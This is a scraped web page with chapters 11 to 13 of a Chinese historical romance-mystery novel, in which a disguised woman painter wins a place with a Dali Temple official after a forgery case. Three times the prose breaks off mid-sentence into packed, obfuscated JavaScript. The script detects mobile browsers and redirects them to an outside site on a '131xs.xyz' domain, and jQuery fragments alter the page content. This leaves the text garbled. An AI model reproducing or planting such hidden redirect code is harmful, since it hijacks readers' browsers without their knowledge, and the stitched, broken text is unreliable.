l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268713|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你们连这些信任都不肯给他么?” “我知你们都害怕苏县令日后可能会报复,若真是那样,我们就更要团结起来,他报复一个,另一个就去京城找大人做主。” “我就不相信,一个小小县令,能困得住我们所有人?” 厉思远心中暗自叹服,这彦儿看着瘦小,却并非胸无点墨,倒是个人物。 就连陈生也被敛烟这一串话唬的一愣愣的,他收敛烟入府的时候,这人不过是个破落乞丐,怎的今日说话这样的……这样的…… 那些被敛烟点到的画师都忙不迭地互相对望一眼,眼神复杂,他们一个个生在临州养在临州城,要是真的站出来…… 人群中寂静了许久。 敛烟暗自捏了把汗,她方才的言论也不过是五分的把握罢了。 她知道这些画师大部分都是临州城附近渔村的人,他们每个人都没有能力与苏县令抗衡,祖辈也要依托于临州,想让他们站出来指认陈生,恐怕很难。 但……若是没有人再站出来,仅凭林阿婆的话难以真正定罪,会让厉思远有些难办。 一丝微风带着些微的凉意,拂过压抑沉闷的人群。 就在她抓耳挠腮再想一出豪言壮语的时候,只听见一个怯生生的声音从人群中传来: “对,我记起来了,我确实为这幅画勾过边,陈府的孙管事亲自将一副松山大师的真迹拿过来,嘱咐我、我去照着画。” 见有人发声了,其余人也都纷纷站了出来:“对、对确实如此,我们也想起来了……” “我当时还担心学的不像,孙管事说只需描个样子就好。” 陈生这时候反应过来了,在一旁指着那些画师暴喝: “一派胡言……一派胡言!!!你们、你们今日是非要逼死我……!叔叔、叔叔你可要相信我啊,他们说的都是假的!” 苏世良从林阿婆出现开始到现在,已经是气到胡须发抖。 他这个侄子真是贪心不足蛇吞象!从未告诉过自己他还贩卖赝品画啊! 当今太后极喜丹青墨宝,对松山大师也是敬重有加,圣上孝敬母后,便也让人编写律法,对贩卖赝品画之事定罪颇为严格,自己想救如今也有心无力啊! 他恨恨地瞪了一眼哀求的陈生,啐了一口:“没想到你这个孽障竟然做出这种事!” 陈生见叔叔竟然没有帮自己,顿时惊慌失措,用手一指被赶出府,此时正躲在一旁的孙管事,大吼: “若当真有赝品画的事,那也是他、他瞒着我做的!我真的不知情!你说!你为什么要欺上瞒下,逼他们伪造松山大师的丹青!” 孙管事原本躲在一边,一听这话也乱了阵脚。 谁人不知,他这种没有倚仗的奴籍身份,如果定罪,除了罚金刑外,免不了一顿鞭子,甚至可能被人发卖了去。 以前诸事他替陈生顶罪也就罢了,顶多是挨顿打,但如今生命攸关,孙管事也扑通一声跪了下来,泣不成声: “大人、大人明鉴!给小人一百个胆子,小人也不敢瞒着主家去指使人伪造丹青啊!” “这、这全都是陈生指使!而且他还指使我将这些画师的卖身契都改成十年,以此来逼迫他们作画……” 孙管事为了能够洗脱罪名,已经是口不择言,竟将陈生叫他做的诸多见不得人的事情一一抖落了出来。 陈生脸色铁青,张牙舞爪就要上去掐住孙管事的脖子,却被身边的潜麟卫拦了下来,只能瞪着通红的双眼恨恨看着他。 厉思远沉声:“你说的可是实话?” 孙管事砰砰砰地在地上直磕头:“句句属实啊大人!我、我房里还有他们原本的卖身契,大人可查证!” 苏世良朝厉思远抱拳,率先开口: “大人,既然事情已经查清,陈生也没有辩解的余地,下官立刻遣人将他带到公堂开庭审讯。” “至于银两赔付的事情,下官也会即刻差人去清点陈宅的财产。” “大人不如移步下官的府衙,下官准备了珍馐佳肴,还有美酒美人……” 啧,开始了开始了。 敛烟最是见不得这种巴结讨好的嘴脸,她内心暗暗祈祷厉思远可千万别被迷惑了去。 这苏世良怎么说也是陈生的叔叔,帮亲不帮理,要是让他去处理,定会高高拿起、轻轻放下! 她偷偷觑向厉思远的神色,却蓦地与他四目相对,忙移开了眼神。 奇怪,他为什么要看向自己? 厉思远注意到了敛烟的小动作,心中发笑,面上波澜不惊摆了摆手,连正眼都没有给苏世良:“无需,本官的侍从已经替本官备下午饭。” 说完,便转身准备离开。 敛烟很识趣地搀着林阿婆给厉思远让开了路,却听见厉思远的声音从上方传来: “你……不跟我回去?” 11. 留下来 敛烟霍地抬头,就看到厉思远正垂头看着自己,竟是有些疑惑为什么自己会让路。 敛烟一时间有些怔然,她的确是想用还原枯尸样貌一事和厉思远搭上线,但却没有想过能让厉思远真的将自己带在身边。 厉思远这样一问,倒让她有些不敢应声。 见敛烟不说话,厉思远又问了一句:“赏银不要了?” 敛烟这才想起来,厉思远曾经答应过陈生,如果能把枯尸样貌还原,就会给他赏银,可是明明赏银可以差人送给自己的啊…… 林阿婆此时拍了拍敛烟的手,示意她跟着厉思远走。 “我送您回去吧。”敛烟试图搀住老人。 林阿婆摆摆手:“不了,让我一个人静静……” 说完,将敛烟搀着的胳膊抽回,头也不回地离开了。 邱容百思不得其解:“那位老婆婆看起来……并没有很开心,难道抓到坏人报了仇,不应感到开心吗?” 厉思远还没说话,背后响起敛烟的声音: “她儿子都已经死了,报仇的意义已经不大,而且她已经这样大的年纪了,再多的银两也填补不了她丧亲之痛……” 要不是自己曾经帮过她儿子几次,林阿婆又和自己亲密,恐怕她根本不会来。 家庭的不幸已经花光她所有力气了,丧子之痛更是雪上加霜,让她最终被狠狠压垮。 如今她在这个世界上,已经没有什么可留恋的了。 邱容看向敛烟,不满地嘟囔着:“大人,不如等下派人把赏银直接给他好了,何必让他跟去客栈?要知道我们……” 他刚想说那件事,但想到有外人在场,连忙住了嘴。 厉思远也不知道自己是怎么了,想到这边的事情已经结束,自己以后不会再见到彦儿的时候,内心忽地慌了一下。 先不说彦儿愿不愿意留在他身边,自己还没有派人查明他的身份,贸然将陌生人留在身边也是极大隐患。 所以踌躇之下,才忽然开口以赏银为借口,想着先将人带走。 谁知邱容的一番话,倒显得他的行为有些奇怪。 就在这时,敛烟忽然开口:“大人,小人不要赏银。” 厉思远和邱容都齐齐一愣,没想到彦儿竟然说出这句话,看着他面黄肌瘦的样子,显然是十分缺钱的。 敛烟微微歪着头,看向厉思远: “大人风神俊朗、玉树临风,做事又雷厉风行,为人刚正不阿,小人觉得跟着大人一定前途无量,那百两赏银小人不要了,只想跟着大人。” 邱容冷哼出声:“你一个来路不明的小画师,以为大人会随随便便就把人留在身边?真是好笑!” 敛烟眨巴眨巴眼睛,依旧望着厉思远: “小人是岭南人,南蛮入侵烧毁了我们村子,小人自此孤苦无依,一路流浪才来到了临州城谋生。” “大人是清缴南蛮的英雄,小人想要跟在大人身边效力!” 敛烟原是想徐徐图之的,她知道以自己现在的身份,想要混入大理寺可谓是难如登天。 毕竟府衙重地,岂是一个来路不明的下人说去就去的地方? 但刚才厉思远的举动,却让敛烟有了一丝自己都不确定的猜测—— 厉思远想要让自己留下来。 虽然不知缘由,但也值得一试,所以她才大着胆子说出刚才那番话。 只见厉思远面上略有意外之色,先是沉默了一下,随后转过身淡淡道: “走吧,先回客栈。” 说完,便背起手继续向前走,却特意放缓了脚步。 敛烟惊讶抬头,厉思远没有拒绝自己跟着,那意思是…… “谢谢大人!!” 敛烟兴奋的无所适从,囫囵行了个礼后,迈开小短腿哒哒哒跟了上来。 路过邱容身边的时候,她还冲邱容胜利地一笑。 气得邱容七窍生烟,但大人都没有说什么,他只能恨恨地跺了跺脚,跟了上去。 * 邱容盯着正在往嘴里扒拉饭的敛烟,真是气不打一处来。 大人怎能把这种来路不明的人直接带回客栈,还免费给他吃饭呢? 甚至饭量还这么大,这已经是第五碗饭了! 这是敛烟这么久第一次吃到饱饭,加上厉思远身份特殊,客栈老板对她很是殷勤,大鱼大肉少不了,所以她这顿吃的甚是舒坦。 等到从碗里抬起头擦干净嘴后,才注意到邱容杀人般的眼神。 厉思远早在刚才已经吃完,此时已经出门去和山平不知说什么,邱容没好气觑着这个不速之客: “你知道你是下人,根本不可以和大人同桌吃饭!” 邱容这个小仆从,长得圆头圆脑的,皮肤泛着黄,噘着嘴望过来,就像是颗成了精的黄土豆。 敛烟吃饱喝足,两手一摊:“可是刚才大人也没有阻止我和他一起吃啊?” 邱容脸色涨红:“那、那是因为大人心善不同你计较!我服侍大人多年,还不是只在旁边小桌吃饭……” 敛烟无辜眨眼:“大人又没说不让你上桌,可你也不来呀。” “我……!” 邱容一时之间竟然无法反驳,因为敛烟说的确实有道理。 每次他服侍大人吃饭的时候,大人都会喊他同吃,也从没有说过自己不能同他同桌吃饭,只是自己心里觉得尊卑有别,不敢僭越罢了。 竟忘了这小子多么伶牙俐齿,邱容恨恨咬牙,刚想转移话题,就听见客房的门被打开。 “大人!” 厉思远走进门,瞥了一眼敛烟身边摞起来的空碗,眼底闪过一丝笑意:“吃饱了?” 敛烟虽然脸皮厚起来堪比京城外的城墙,但由于厉思远长得太过于在她的审美点上,见他瞥自己的饭碗,瞬间有些局促,嘴皮子都不利索了: “……吃、吃饱了,谢谢大人。” 厉思远点点头,又说道:“刚才和你一起来指认陈生的林阿婆,我知道她丧子又变卖了所有家产,想要去探望一下,看看能不能帮得上什么忙。” 敛烟愣了一下。 不是对厉思远心善有些震惊,而是她印象中的他并非多么热情的人。 两个人此前远远在宴会上见过几次,这人虽然也会应酬一二,但大部分时间都是独来独往,像一只离群索居的孤狼。 再加上他是出了名的雷霆手段,治下严格,对待南蛮毫不留情,所以上京城人戏称他“玉面罗刹”。 所以,很难把厉思远和热情两个字联系在一起。 如今看着厉思远一脸诚恳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在去林阿婆的住处前,厉思远刻意绕路去临州城的集市买了一些蔬菜猪肉,亲自提着上了马车。 他的马车的装饰和人一样,朴素清冷,敛烟是见过其他世家子弟的马车的,里面大多宽敞华丽,有的人恨不得用金子把马车内壁都贴上一遍。 厉思远的马车除了能从材质上看出是上好的梨花木以外,看起来和九品小官的代步车一样。 马车吱吱呀呀地在津味轩门口停了下来,店小二一看有马车来,知道不是寻常人,忙跑出来招呼: “客官,是用饭吗?我们这儿二楼风景好,还有位置!” 敛烟率先跳下来,不管邱容一脸“大人应该先下车”的眼神,自顾自打招呼:“小鹏,好久不见!林阿婆在做工吗?” 这个时辰,林阿婆应当是上工了。 临州城小,好事不出门坏事传千里,小鹏早就已经知道发生了什么,朝里面努努嘴: “在后厨呢,老板想让她休息一下,中午还特意准备了一顿好饭,但阿婆怎么也不肯白吃饭,愣是要把今天的活计做完,哎!” 林阿婆的性子人人皆知,倒也不奇怪,敛烟便带着厉思远从后门转了进去。 此时并非用饭时间,后厨的人都已经去休息了,只有林阿婆佝偻着身躯,蹲坐在一个矮小的木凳上,吃力地擦拭着满满的一盆碗筷。 敛烟三步并作两步跳到林阿婆跟前:“阿婆!” 12. 木头 林阿婆没想到会有人进来,抬起头眯着眼一瞧:“彦儿,你怎么来了?” 敛烟龇着牙笑眯眯道:“来看看阿婆呀!” 在遇到这个叫彦儿的少年时,林阿婆终日面对着痴傻的儿子,生活中充斥着苦痛劳累,永远都没有盼头。 而彦儿给她灰暗的生活填上了一抹明亮的色彩,所以她真的很喜欢这个少年。 她布满皱纹的手轻轻抚摸过敛烟的额头: “哎呀……我都说了不用管我这个半截身子都快入土的人了,你啊你……怎么感觉又瘦了啊?” 敛烟一时间想到了自己的母亲,不管自己吃多少,每次见到她都觉得她瘦了。 她眼眶一酸,低下头轻声:“没有瘦呀我还胖了呢,一直跟着这位大人吃肉呢!” 林阿婆不知道她去陈宅被逼迫作画的事情,敛烟也没有打算让她知道,白白担心自己。 厉思远也没有揭穿,点点头:“刚刚有几个问题还想问问您,您看方便么?” 林阿婆老眼昏花,听见人说话才发现大理寺的大人竟然来了,慌忙要起身行礼,却被厉思远阻止了: “您坐下就好,只是几个简单的问题。” 林阿婆坐下后,浑浊的眼睛打量了一下厉思远:“大人啊……是、是陈生那畜生的罪还不能定么?” 邱容不知从哪搬来了一个小板凳,厉思远便坐了下来,也不顾外袍被后厨的黄土地弄脏,温声道: “不是案子的事,就是想问点临州的事……” 初春的午后,阳光正好,铺满了整个小院,暖洋洋地笼罩在几个人的身上。 厉思远其实根本没有问什么,只是有一搭没一搭地同林阿婆聊着天,刻意避开了阿婆的伤心事。 林阿婆也在不知不觉中被他打开了话匣子,还时不时地迸发出愉悦的笑声,就像是一瞬间忘记了所有的烦恼。 敛烟看着厉思远被阳光映照的几乎毫无瑕疵的皮肤,那双漆目因为温和的笑容也跃动着细碎的光,她忽然觉得玉面罗刹这四个字,似乎只有玉面能配得上他。 这哪里是罗刹,简直就是…… 她绞尽脑汁想要想出一个高级词汇,奈何她平日里只喜欢作画,一看书就头晕目眩、倒头就睡。 半晌,她才自暴自弃地抛出一个词。 玉面菩萨。 虽然听着和这张脸格格不入,对待敌人的时候也并非菩萨心肠,不过也大差不差吧。 敛烟满意地点点头。 等到天边微微泛起了落日的橙色,林阿婆才依依不舍地站起身,刚才光顾着和大人聊天,转身再看的时候,碗已经被敛烟和邱容抢着洗完了。 她踌躇着:“……大人,谢谢您,这太不好意思了老婆子还耽误你们这么久……” 厉思远摆摆手:“阿婆说哪里的话,我来临州本也是为了了解这里的风土人情,您刚才说的对我接下来的差事很有帮助,是我该谢您才对。” 说完,他将刚才带来的肉菜递了过去,又从腰间解下来一袋银子:“这个是我们感谢您提供信息的谢礼,您一定要收下。” 林阿婆倔脾气上来了,说什么都要推拒掉: “大人,这万万不可!您特意来寻我这个婆子已经是屈尊,怎能、怎能再收您东西啊?老婆子说的这些根本算不得什么……” 厉思远打断了她:“不只是这些,若没有您敢于站出来指认,陈生根本不能乖乖伏法。” “我们大理寺有明文规定,必须要给予您这样的人奖励,所以您若是不收下,才叫我回去不好交代。” 听到他都这么说了,林阿婆犹豫了半天,在敛烟从旁劝说下,才将那袋银子收了下来。 她打开那袋银子后,一时间不知说什么,只颤抖着嘴唇,握住厉思远的大手: “大人……老身还不知道您贵姓?” 厉思远垂眸看着那双苍老的手,轻轻将自己掌心覆盖其上,温声道:“本官姓沈。” “啊沈大人,老身知道您公务繁忙,有空的话记得和彦儿一同来这里坐坐,老身可以求老板借用一下厨房,亲手给你们做做饭……” 她的眼睛倒映着厉思远高大的身躯,紧紧握着他的手,仿佛透过他在遥望着自己已经死去的儿。 厉思远则温声应了下来,微笑着同林阿婆告别。 * 回到客栈后,厉思远把敛烟和邱容安排在一个房间。 房间里拢共有两张木床,其中一个已经堆满了衣物,看起来应当是邱容在用。 敛烟转了一圈,在客房中间的椅子上坐下。 现在看来厉思远并没有将自己赶走的意思,但也没有明确表明将自己留下。 他如今到底是什么意思呢?是觉得自己的价值还不足以让他动心? 敛烟皱着眉,悠悠叹息一口,自己力气不大,不会做饭,读书又少,除了会画点画以外,还有什么能入眼的能力呢? 若是厉思远恰好有一个喜爱赏画的心上人就好了……自己或许还能帮他追求一下。 这念头一出,把敛烟自己都逗笑了,因为这想法着实荒谬。 厉思远已经二十有八,但始终未娶亲。 要知道他这样的适龄青年,身份高贵不说,还长得如此丰神俊朗,在京城贵女圈里面那是炙手可热的好郎君。 敛烟不喜欢贵女圈的聚会,除了谈论那些令她头大的史书绣花外,还要再评判一下上京城的世家公子们。 那时的敛烟正和陆景明浓情蜜意,对这些事情自然是毫不上心。 其中就有一个世家贵女,是皇贵妃的亲侄女,盛气凌人,谁都看不上,却偏偏对厉思远异常动心,将厉思远的长相传的神乎其神,摆出一副非他不嫁的架势。 也有许多贵女对厉思远十分神往,只要有她们参加的宴会,那就必然会提到厉思远的事情。 不是前几天厉公子去东市看了什么扇子了,就是昨天公子又去吃了最喜欢的蜀菜了。 敛烟听着都觉得心惊,这些人是怎么做到的,比厉思远身边的暗卫都要了解他的行踪? 只可惜厉思远对于嫁娶并不感兴趣,回绝了所有前来替他说亲的媒婆,想和他沾亲带故的官员们也都被他客气地请出了门。 皇贵妃为了她侄女还特意把厉思远喊去宫中示好,厉思远却毫不领情,去是去了,只装作听不懂、不知道。 陛下因为他的婚事,甚至想要下旨直接赐婚,也被厉思远强硬地拒绝了。 此后京城便传言,厉思远有一个求而不得的心上人,所以才始终坚持不娶。 但后来也有人觉得传言有问题,厉思远身份尊贵,那心上人是有多么糊涂,这样的好郎君都不动心? 所以谣言又变了个调,说是厉思远其实好男风,心上人是一名男子。 还有的人绘声绘色地描述这名男子的容貌,说这男子身形纤巧,如弱柳扶风,身高七尺,骨相玲珑,说的跟真的似的。 于是乎谣言便越传越离谱,说是厉思远爱那男子爱的死去活来,奈何陛下太后不同意,非要赐婚与他,让他断了念想。 而厉思远则宁死不从,即便那男子已经娶妻生子,依旧情根深种,终生不娶。 传来传去,也不知道哪些是真的,哪些是假的。 不过敛烟还是觉得,厉思远看起来像块木头,定是不会讨人欢心所以才单身至今。 看着他那个千年铁树不开花的样子,自己完全可以教他怎么赢得美人芳心,助他觅得良人,幸福一生…… 就在她胡思乱想的时候,邱容打开门走了进来。 看到这个不速之客竟然同自己分享同一个房间,嘴撅的老高。 但想到大人的嘱咐,他还是忍气吞声:“喂,这里有一套干净衣服,出门左转有澡堂,洗干净再进来。” 敛烟知道他对自己警惕,倒也没有生气,笑嘻嘻应了一声。 走出房门后,她绕着客栈转了一圈。 看起来厉思远带的人不多,却把整座客栈包了下来,应当为了给那些潜麟卫住的,也不知道到底来临州做什么。 她四处逛了逛后,便坐在了一个不起眼的角落里,拔起旁边的一根小草就放在嘴里嚼着,看着客栈中间的日晷一点点移动着。 “那个……你、你是新来的那位彦儿哥哥吗?” 一个怯生生的声音从背后响起,敛烟回过头,就看到一个穿着明黄色衣裙,梳着两个圆鼓鼓发髻的小姑娘站在后面,小心翼翼地望着她。 那怯怯又好奇的小鹿眼让她莫名想到了刚来她身边侍候的苗儿。 于是心下便柔软起来,担心夜深人静会被听出女声,刻意压低了声线:“我是,你是侍候厉大人的丫鬟吗?” 小姑娘红着脸摇摇头:“大人从来不让女子侍候,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268715|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心大人吃不惯这边的吃食,所以特意将我和另外两个嬷嬷带上,替大人做饭。” 原来是个小厨娘,敛烟看了看天色还早,索性和小姑娘攀谈起来。 小姑娘名叫黄莹莹,说是自小便跟在厉思远身边,小姑娘警惕心弱,一来二去聊得开心,便把厉思远儿时的趣事讲了出来。 说是儿时厉思远喝牛奶会全身起红疹,却又不肯说,小时候带他的嬷嬷又觉得他太矮,一定要多喝牛奶,所以天天给他喝。 有一日连喝了两大碗,厉思远去上太学的时候差点背过气去,太医把了脉以后才知道这件事。 这厉思远小时候也太规规矩矩了吧?敛烟想到自己以前不爱吃鸡蛋,母亲和嬷嬷追着自己满院子跑,愣是一口都喂不进自己嘴里。 原来他不只是感情上是块木头啊,简直就是个千年铁树嘛! 敛烟摇摇头,恐怕自己那两笔画也救不了他了,单身是有原因的。 黄莹莹平日里都在厨房忙活,两个嬷嬷和她的年岁相差比较大,自己总感觉没什么话聊,今日总算有一个同龄人说话,小姑娘忍不住打开了话匣子。 “彦儿哥哥,听说你画画很好,什么时候有机会我可以看看呀?”小姑娘扑闪着大眼睛,一脸崇拜。 她听嬷嬷们说,新来的这个小伙子虽然脸上疤痕有些吓人,但之前画出来的丹阳春景图让夏太守都赞不绝口。 今日一看,彦儿哥哥也不是很吓人嘛,明明五官端正,身形也很漂亮,尤其是那双眼睛…… 敛烟正要开口,就看到邱容从不远处窜了过来。 他似乎来的很急,满头大汗不说,连腰带都松松垮垮地系着,看的旁边黄莹莹小小惊呼一声,捂住了自己小脸。 似乎知道自己衣衫不整,邱容尴尬地提了提裤子,跑到跟前却犹豫了半天,才朝黄莹莹道: “……你、你……大人想吃夜宵,你去煮点阳春面来。” 黄莹莹慌慌张张地应了一声,转身跑掉了。 邱容的视线一直望着黄莹莹,直到她的背影消失在转角处,才收回视线。 这一切被敛烟看在眼里,她心下了然,笑嘻嘻看向邱容,却见他怒容满面望过来: “你怎么还不去洗澡?这黑灯瞎火的等下小心回不来掉井里!还有……” 见敛烟也不恼,他火气更胜,指指点点地说道:“你要是回来吵到我睡觉,你就死定了!” 说完怒气冲冲地跑回了客栈。 可恶!这个臭小子长得不怎么样,还敢和莹莹勾勾搭搭的!以后要盯紧他一些了…… 敛烟看着邱容远去的方向笑了笑,邱容这小子其实没什么坏心思,不过就是醋劲儿着实大了点。 她继续歪在外廊旁的柱子前,看着渐渐升起的明月。 约莫子时,敛烟才拍了拍身上的土站起身,从前堂那里取了牌子,晃到了澡堂里。 子时的澡堂空无一人,只在入口处蜷着一个打瞌睡的小厮。 敛烟喊了两声才把人喊醒,小厮上下打量了她一下后,打着哈欠收了牌子,示意敛烟进了澡堂。 里面是一个个小隔间,每个隔间用帘子遮挡,敛烟看了一圈,果然这个时辰没有人洗澡。 敛烟并没有打算将自己真正的性别告诉厉思远,一来是厉思远是男子,若是想要接近他获取信任留在大理寺,甚至接触到案卷,自然是以男子的身份更容易。 二来…… 敛烟深吸一口蒸腾的空气,打了一桶热水后,捡起水瓢浇在身上,闭了闭眼睛。 厉思远虽然人还不错,但若是真的认出自己是所谓的“叛臣之女”,难保不会立刻禀报陛下。 所以性别若是不对,他起疑的概率要小很多。 温度适宜的热水自头顶浇灌而下,敛烟舒服地叹了口气,这是她数月来的第一次热水澡。 在敛府的时候,一直都是苗儿伺候自己沐浴,知道自己喜欢桂花香。 金秋时节,苗儿便会亲手从府里摘下桂花,一半让自己沐浴,一半亲手蒸上一炉桂花糕。 热气逐渐蒸腾起来,敛烟闭上眼,想象自己并未离开敛府,一切都还未发生,四周也似乎弥漫起了熟悉的桂花香。 爹、娘、弟弟、苗儿……烟儿真的好想你们…… 就在这时,只听见门外咔哒一声,接着便是脚步的踢踏声。 有人进来了。 13. 沐浴 敛烟猛地睁开双眼,想都没想便抓着水瓢把自己扔进了水桶里,扑通一声溅起好大一个水花。 不是,这个时辰还会有人来沐浴么? 那脚步声停住了一会儿,随后又踢踏到了敛烟对面的隔间。 好在隔间有帘子挡着,从外面看不到隔间中的情况,敛烟将身子缩了缩,祈祷这人沐浴的速度快一些。 就在她打算苟到对方离开时,就听见一个低沉的、磁性的声音响起: “这么晚了还在当差?” ……是厉思远的声音!啊啊啊! 虽然什么都看不到,但敛烟还是在心中惊叫不已,他怎么这么晚了还不睡? 而且你沐浴就沐浴,在澡堂体恤下属好诡异啊啊啊! 敛烟硬着头皮答道:“……大人,小人晚上饿了想出来找点东西吃,见澡堂还亮着就、就想着再洗一次。” 对面静了片刻,就听见厉思远道:“哦,是彦儿啊。” 男性低沉的尾音在安静的室内回荡,不知是不是热气蒸腾的原因,敛烟只觉得两颊热的滚烫,就听见厉思远又说道: “你是岭南人?” 啊啊啊啊——你能不能安静地洗个澡!!! 敛烟抬头深吸一口气,不得不答道:“是。” 厉思远“嗯”了一声:“你这口音,倒也有些像。” 为了掩饰身份,敛烟混在流民里面特意学了岭南口音,她本就聪慧,一学便会,而临州岭南人也多,所以时间长了便有模有样了。 除非是岭南本地人,否则是听不出她口音有问题的。 厉思远土生土长在京城,自然也听不出。 “你这个口音,是岭南骑岭人?住在文田县附近么?” 敛烟吓得差点丢掉手中的水瓢,厉思远是怎么听出来的? 她只能试探着答道:“……是,大人怎么知道的?” “我此前奉命在岭南清剿蛮夷,在文田县借住一段时间,那里风景很美,只是……当时带的人有限,周边村落烧毁了不少,让你们受苦了。” 厉思远的声音缓慢而低沉,带着些许自责,敛烟心头微微一跳。 她和陆景明定下亲事后,就听说陛下见南方蛮夷泛滥,在朝中征集武将官员前去清剿。 岭南偏僻,瘴气遍布,蚊虫肆意,很容易便染上疫病,所有人唯恐避之不及,厉思远却自请带兵前往。 说来也怪,算算日子厉思远上任大理寺卿正是他清剿南蛮立功之后,他骁勇善战,理当去请命任武将,却偏偏来到大理寺当差。 大概是陛下仁善,不忍让年轻的义子去投身战场,才会让他来做文职。 敛烟用手拨了拨眼前的清水,道:“大人已经尽力,不必过于自责。” “气运未回天,人力不能起,便是如此。” 沉默,长久的沉默。 就在敛烟以为他终于不想说话的时候,就听见厉思远低笑了一声。 不知怎得,她总觉得这声笑不对劲,让她不禁握了一下水瓢。 果然,下一秒厉思远便说道: “你此前是岭南哪位大户人家的公子?” 敛烟心下一沉,只觉得自己好像暴露了什么。 平日里就算自己不爱看书,但被父亲按着头还是看了一些,耳濡目染之下,有时说话免不了文绉绉的。 岭南周边被烧毁的村落都是种地的农户,哪里有什么能读书的大户人家,真是被自己这张嘴给卖了! 她只能生硬地找补道: “家……家父喜读书,自小便在家教我,指望我将来能考取功名,光宗耀祖,所以小时便读了些书,让大人见笑了。” 厉思远那边没有再说话,只有微微的流水波动的声音传来,也许已经信了敛烟的话。 过了一会儿,敛烟听到对面传来收拾水桶的声音,知道厉思远快要洗完了,刚想松口气,却听到男性的声音陡然从帘子后面响起。 很近,是厉思远走到帘子前,在同她说话: “那你有没有兴趣同我回京城,来大理寺当差?” 敛烟刚想从快要冷掉的水里站起来,听见这句话又猛地跪了回去。 她有些摸不准厉思远的想法,一个身份不明的人,就因为几句话而随便收入大理寺中么? 敛烟只能试探着道:“大人……是答应要收留我的意思?” 厉思远的声音隔着水雾,听不甚真切,却带着让人有些迷蒙的尾音: “大理寺不养闲人,你虽处境艰难,但画技精湛,观察入微,若是那头骨的身份当真与你所画无异,我便替你寻个差事——” 他微顿后:“赏银也不会少你的,你考虑一下。” 说完,脚步的踢踏声逐渐远去,留下敛烟一个人呆呆地坐在渐冷的水桶中。 事情……未免有些太过顺利了吧? * 第二天清早起床洗漱后,敛烟也一直在紧锁眉头揣摩厉思远的心思。 自己既能留在大理寺当差,又能真的仅仅只是因为惜才?还是有其他原因? 今日厉思远似乎很忙,一天都不怎么见人影,敛烟被邱容驱使着去收拾衣物,又去给邱容帮忙,忙了整整一天。 当她拖着疲累的身躯回到了房间时,客栈周围已经点上了橙黄色的烛火。 黄莹莹正在她房间门口徘徊,见到少年回来,这才笑着迎上来: “彦儿哥哥,你这一天都跑哪儿去啦?我来给你送饭都不见踪影。” 敛烟摸了摸自己已经空落落的肚子,才想起来今日只吃了早饭,由于过于疲惫午饭时间不小心在假山后睡着了,这才错过了用饭时间。 她有些不好意思地挠挠头,稍稍解释了一番,随后将黄莹莹引进了房间里。 今日的晚餐比较清淡,由于厉思远口味的问题,大多数时候饭菜都不怎么油腻,肉菜多以虾肉鱼肉为主。 敛烟甫一坐下来,只感觉自己身子骨整个儿都要散架了。 喝了一口莹莹端过来的冬瓜汤,暖流顺着喉咙一路而下,让她不禁舒服地叹出一口气。 黄莹莹今天也是忙活了一整天,迫不及待开始向敛烟分享自己今日的见闻,什么驿站的小厮又被老板骂了,今天自己又不小心切错了蔬菜。 又说院子里的海棠花开的很漂亮,但是都不及大理寺里面的那棵。 厉思远在大理寺刻意移出了一间花园,将府里的海棠树都移栽了过来,每次一开花,就像是漫天的红霞般,热烈又瞩目。 敛烟边喝冬瓜汤,边听黄莹莹叽叽喳喳个不停。 这汤清淡又香甜,很像苗儿炖的。 黄莹莹也很像苗儿。 爱笑、喜欢聊天,每天恨不得将自己的所见所闻一股脑说与别人听,让人觉得满是生机。 所以敛烟看着黄莹莹的眼神也柔软了许多,还哄她那绣的歪歪扭扭的手帕“别有一番风味”。 邱容回房的时候,就看到了眼前这一幕。 佳人儿郎伴灯笑,恍若新婚燕尔,郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268716|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情妾意。 生生让邱容咬碎了一口牙。 这个可恶的小乞丐,昨天就和莹莹有说有笑的。 他把脸上的灰洗掉后,五官立体看着是个俊俏郎君,但可惜脸上从太阳穴向下有一道可怖的疤痕,足足横贯了大半张脸,长什么模样都看不出来。 邱容虽然此前也看到他脸上的疤痕,但洗干净后更加清晰,让他着实吓了一跳。 那疤痕透着棕红色,像一只长满无数触手的蜈蚣一般,蔓延攀爬在敛烟半张脸上。 疤痕附近的皮肤也有些许红肿,让她整张脸看起来极不协调。 邱容虽然也暗自唏嘘了一阵,心中却也暗暗窃喜,这下他也不怕半路杀出个情敌来和他抢莹莹了。 等到他攒好了钱,就要向莹莹提亲。 但如今这样看,莹莹非但不怕他那道疤痕,两个人反而比第一天更加亲密。 这可不行! 邱容三步并作两步,上前站在了敛烟和黄莹莹中间,恰巧把两人的视线阻隔开。 敛烟一个猝不及防,差点把喝进去的冬瓜汤喷出来。 “厉大人叫你去书房。” 这客栈也是刻意为达官贵人们建设的,所以配置也很是齐全,从议事厅到书房再到小花园,一应俱全。 